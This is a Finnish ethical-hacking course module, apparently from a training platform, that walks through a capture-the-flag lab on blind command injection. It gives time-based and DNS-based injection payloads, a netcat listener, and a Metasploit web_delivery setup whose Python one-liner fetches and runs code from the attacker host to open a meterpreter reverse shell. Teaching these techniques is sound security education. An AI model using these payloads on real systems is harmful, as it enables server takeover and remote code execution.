Komentoinjektiot

Sokea Komentoinjektio

Keskitaso
45 min

Mikä on sokea injektio?

Sokea komentoinjektio on yksi komentoinjektion muoto, jossa haitallinen käyttäjä syöttää ohjelmistoon komentoja, joita ohjelma käsittelee, mutta käyttäjä ei saa takaisin mitään tietoa syötetyn komennon vaikutuksesta. Tämä tekee hyökkäyksestä vaikeamman havaita, sillä käyttäjä ei huomaa, että hänen syöttämänsä dataa on käsitelty ja mahdollisesti aiheuttanut haittaa järjestelmässä.

Tässä moduulissa ratkaisemme labran yhdessä. Voit halutessasi lopettaa lukemisen ja yrittää ratkaisua itse. Muussa tapauksessa voit seurata alla olevia vaiheita omaan tahtiin.

Command Injection 2

Tässä harjoituksessa hyödynnät haavoittuvaa verkon diagnostiikkasivua ja otat hallintaan palvelimen. Tällä kertaa komentojen tuloste ei heijastu takaisin.

Tavoite

Hanki pääkäyttäjän (root) pääte palvelimella ja lue lippu tiedostosta /flag.txt.

Tehtävät

Flag

Löydä lippu (flag) labraympäristöstä ja syötä se alle.

Haavoittuvuuden havaitseminen

Aikapohjainen havaitseminen

Kun haluat tarkistaa, onko järjestelmä haavoittuva, voit yritä aiheuttaa aikaviivettä käyttämällä sleep tai /bin/sleep ohjelmaa. Voit myös yrittää käyttää ping-komentoa, joka aiheuttaa viiveen, jonka pituus riippuu pakettien määrästä.

test;sleep 5
test;/bin/sleep 5
test;ping -c 5 127.0.0.1

DNS-pohjainen havaitseminen

Käynnistä netcat-kuuntelija hyökkääjän tietokoneessa UDP-portissa 53.

nc -v -u -l -p 53
Bound on 0.0.0.0 53


Yritä nyt saada järjestelmä tekemään DNS-pyyntö . Esimerkiksi jollain seuraavista komennoista:

test;curl something.attacker.local
test;ping something.attacker.local
test;host something.attacker.local
test;wget something.attacker.local
test;nslookup something.attacker.local
test;dig something.attacker.local

Jos näet jotain tällaista terminaalissasi, kohde on todennäköisesti haavoittuva.

Connection received on 10.2.1.74 29082
SU somethinattackerlocal�m somethinattackerlocal

Haavoittuvuuden hyväksikäyttö

Tässä kohtaa on hyvä mainita, että on lukuisia erilaisia tapoja, miten tästä voidaan edetä. Tässä moduulissa käytämme Metasploit ohjelmaa, jonka avulla yritämme päästä palvelimen komentoriville. Metasploit on avoimen lähdekoodin tietoturva-työkalu, joka sisältää useita valmiita hyökkäysmoduuleita ja auttaa testaamaan sekä arvioimaan järjestelmien tietoturvaa. Se on suosittu työkalu tietoturva-asiantuntijoiden kuin myös hakkerien keskuudessa ja sitä voidaan käyttää sekä hyökkäyksien simulointiin, että puolustustekniikoiden testaamiseen.

Voit käynnistää Metasploitin seuraavasti:

msfconsole

Seuraavaksi valitsemme web-toimitusmoduulin:

msf6 > use exploit/multi/script/web_delivery

Valitse Python meterpreter reverse TCP-kuorma seuraavasti:

msf6 exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp

Nähdäksesi käytettävissä olevat asetukset, suorita:

msf6 exploit(multi/script/web_delivery) > show options

Saat IP-osoitteesi suorittamalla:

msf6 exploit(multi/script/web_delivery) > ip a
...
4: eth0@if78: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1440 qdisc noqueue state UP group default
link/ether c2:9f:64:41:c5:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.2.1.72/32 scope global eth0
valid_lft forever preferred_lft forever

Aseta LHOST- ja SRVHOST-asetukset paikalliseen IP-osoitteeseesi (edellisestä komennosta):

msf6 exploit(multi/script/web_delivery) > set SRVHOST 10.2.1.72
SRVHOST => 10.2.1.72
msf6 exploit(multi/script/web_delivery) > set LHOST 10.2.1.72
LHOST => 10.2.1.72

Kun olet tyytyväinen asetuksiin, käytä run-komentoa käynnistääksesi kuuntelijan.

msf6 exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.2.1.72:4444
[*] Using URL: http://10.2.1.72:8080/WLM5JwM
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://10.2.1.72:8080/WLM5JwM', context=ssl._create_unverified_context());exec(r.read());"

Pakota verkkosovellus suorittamaan metasploitissa tulostettu Python-komento. Tämän jälkeen metasploit-konsolissa pitäisi näkyä seuraavaa:

[*] Meterpreter session 1 opened (10.2.1.72:4444 -> 10.2.1.74:44568) at 2021-05-11 12:12:50 +0000

Vuorovaikutuksen aikaansaamiseksi meterpreter-istunnon kanssa suorita komento sessions -i {numero} seuraavasti:

msf6 exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

Pudotaksesi komentoriville, yksinkertaisesti suorita shell-komento:

meterpreter > shell
Process 35 created.
Channel 2 created.
/bin/sh: 0: can't access tty; job control turned off

cat-komennolla voit lukea /flag.txt-tiedoston sisällön.

Vinkki: Meterpreter voi olla hieman hatara välillä, joten kannattaa ensinnäkin odottaa maltillisesti, että "Meterpreter sessio avautuu". Jos tämä ei kuitenkaan tunnu onnistuvan tai yhteys kuolee kesken kaiken, niin kannattaa kokeilla esimerkiksi & merkin asettamista komentoinjektion perään, sillä se asettaa komennon ajamaan taustalle.

hakatemia pro

Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.

Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.